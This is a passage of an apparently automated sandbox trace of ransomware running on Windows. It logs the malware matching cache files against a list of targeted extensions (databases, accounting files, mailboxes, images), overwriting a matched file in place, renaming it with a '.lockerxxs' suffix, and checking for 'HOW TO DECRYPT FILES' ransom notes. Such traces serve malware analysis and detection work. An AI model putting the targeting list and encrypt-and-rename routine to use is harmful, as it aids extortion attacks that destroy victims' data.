HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBC0tCi[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg" [0083.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.ems") returned 0 [0083.139] lstrlenA (lpString="*.ems") returned 5 [0083.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.db") returned 0 [0083.139] lstrlenA (lpString="*.db") returned 4 [0083.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.dbf") returned 0 [0083.139] lstrlenA (lpString="*.dbf") returned 5 [0083.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.myox") returned 0 [0083.139] lstrlenA (lpString="*.myox") returned 6 [0083.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.myo") returned 0 [0083.139] lstrlenA (lpString="*.myo") returned 5 [0083.140] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.qbw") returned 0 [0083.140] lstrlenA (lpString="*.qbw") returned 5 [0083.140] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.qbb") returned 0 [0083.140] lstrlenA (lpString="*.qbb") returned 5 [0083.140] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.qbm") returned 0 [0083.140] lstrlenA (lpString="*.qbm") returned 5 [0083.140] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.qbo") returned 0 [0083.140] lstrlenA (lpString="*.qbo") returned 5 [0083.140] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.qbx") returned 0 [0083.140] lstrlenA (lpString="*.qbx") returned 5 [0083.140] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.qba") returned 0 [0083.140] lstrlenA (lpString="*.qba") returned 5 [0083.140] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.qby") returned 0 [0083.140] lstrlenA (lpString="*.qby") returned 5 [0083.140] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.qbj") returned 0 [0083.140] lstrlenA (lpString="*.qbj") returned 5 [0083.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.ofx") returned 0 [0083.141] lstrlenA (lpString="*.ofx") returned 5 [0083.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.qif") returned 0 [0083.141] lstrlenA (lpString="*.qif") returned 5 [0083.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.mye") returned 0 [0083.141] lstrlenA (lpString="*.mye") returned 5 [0083.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.mbox") returned 0 [0083.141] lstrlenA (lpString="*.mbox") returned 6 [0083.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.eml") returned 0 [0083.141] lstrlenA (lpString="*.eml") returned 5 [0083.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.pst") returned 0 [0083.141] lstrlenA (lpString="*.pst") returned 5 [0083.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.ost") returned 0 [0083.141] lstrlenA (lpString="*.ost") returned 5 [0083.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.idx") returned 0 [0083.141] lstrlenA (lpString="*.idx") returned 5 [0083.141] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.dbx") returned 0 [0083.141] lstrlenA (lpString="*.dbx") returned 5 [0083.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.sql") returned 0 [0083.142] lstrlenA (lpString="*.sql") returned 5 [0083.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.mdb") returned 0 [0083.142] lstrlenA (lpString="*.mdb") returned 5 [0083.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.fdb") returned 0 [0083.142] lstrlenA (lpString="*.fdb") returned 5 [0083.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.wab") returned 0 [0083.142] lstrlenA (lpString="*.wab") returned 5 [0083.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.dat") returned 0 [0083.142] lstrlenA (lpString="*.dat") returned 5 [0083.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.txt") returned 0 [0083.142] lstrlenA (lpString="*.txt") returned 5 [0083.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.jpeg") returned 0 [0083.142] lstrlenA (lpString="*.jpeg") returned 6 [0083.142] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", pszSpec="*.jpg") returned 1 [0083.142] lstrlenA (lpString="*.jpg") returned 5 [0083.142] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg" [0083.142] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg" [0083.143] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg." [0083.143] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg.lockerxxs" [0083.143] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0tci[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.143] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xaf3 [0083.143] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x52fa5350, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x52fa5350, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x52fa5350, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.143] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.143] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xacd, lpOverlapped=0x0) returned 1 [0083.146] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg") returned="BBC0tCi[1].jpg" [0083.146] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.146] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xacd, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xacd, lpOverlapped=0x0) returned 1 [0083.147] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.147] CloseHandle (hObject=0xa4) returned 1 [0083.147] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0tci[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc0tci[1].jpg.lockerxxs")) returned 1 [0083.148] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459f9950, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459f9950, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x459f9950, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x350a, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBCM2U2[1].jpg", cAlternateFileName="BBCM2U~1.JPG")) returned 1 [0083.148] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.148] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBCM2U2[1].jpg") returned 1 [0083.148] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBCM2U2[1].jpg") returned 1 [0083.148] lstrcmpiA (lpString1="", lpString2="BBCM2U2[1].jpg") returned -1 [0083.148] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC0tCi[1].jpg") returned="BBC0tCi[1].jpg" [0083.148] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.148] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.149] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.149] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.149] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBCM2U2[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg" [0083.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.ems") returned 0 [0083.149] lstrlenA (lpString="*.ems") returned 5 [0083.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.db") returned 0 [0083.149] lstrlenA (lpString="*.db") returned 4 [0083.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.dbf") returned 0 [0083.149] lstrlenA (lpString="*.dbf") returned 5 [0083.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.myox") returned 0 [0083.149] lstrlenA (lpString="*.myox") returned 6 [0083.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.myo") returned 0 [0083.149] lstrlenA (lpString="*.myo") returned 5 [0083.149] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.qbw") returned 0 [0083.150] lstrlenA (lpString="*.qbw") returned 5 [0083.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.qbb") returned 0 [0083.150] lstrlenA (lpString="*.qbb") returned 5 [0083.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.qbm") returned 0 [0083.150] lstrlenA (lpString="*.qbm") returned 5 [0083.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.qbo") returned 0 [0083.150] lstrlenA (lpString="*.qbo") returned 5 [0083.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.qbx") returned 0 [0083.150] lstrlenA (lpString="*.qbx") returned 5 [0083.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.qba") returned 0 [0083.150] lstrlenA (lpString="*.qba") returned 5 [0083.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.qby") returned 0 [0083.150] lstrlenA (lpString="*.qby") returned 5 [0083.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.qbj") returned 0 [0083.150] lstrlenA (lpString="*.qbj") returned 5 [0083.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.ofx") returned 0 [0083.150] lstrlenA (lpString="*.ofx") returned 5 [0083.150] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.qif") returned 0 [0083.151] lstrlenA (lpString="*.qif") returned 5 [0083.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.mye") returned 0 [0083.151] lstrlenA (lpString="*.mye") returned 5 [0083.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.mbox") returned 0 [0083.151] lstrlenA (lpString="*.mbox") returned 6 [0083.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.eml") returned 0 [0083.151] lstrlenA (lpString="*.eml") returned 5 [0083.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.pst") returned 0 [0083.151] lstrlenA (lpString="*.pst") returned 5 [0083.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.ost") returned 0 [0083.151] lstrlenA (lpString="*.ost") returned 5 [0083.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.idx") returned 0 [0083.151] lstrlenA (lpString="*.idx") returned 5 [0083.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.dbx") returned 0 [0083.151] lstrlenA (lpString="*.dbx") returned 5 [0083.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.sql") returned 0 [0083.151] lstrlenA (lpString="*.sql") returned 5 [0083.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.mdb") returned 0 [0083.151] lstrlenA (lpString="*.mdb") returned 5 [0083.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.fdb") returned 0 [0083.151] lstrlenA (lpString="*.fdb") returned 5 [0083.151] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.wab") returned 0 [0083.151] lstrlenA (lpString="*.wab") returned 5 [0083.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.dat") returned 0 [0083.152] lstrlenA (lpString="*.dat") returned 5 [0083.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.txt") returned 0 [0083.152] lstrlenA (lpString="*.txt") returned 5 [0083.152] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBCM2U2[1].jpg", pszSpec="*.jpeg") returned 0 [0083.152] lstrlenA (lpString="*.jpeg") returned 6 [0083.152] 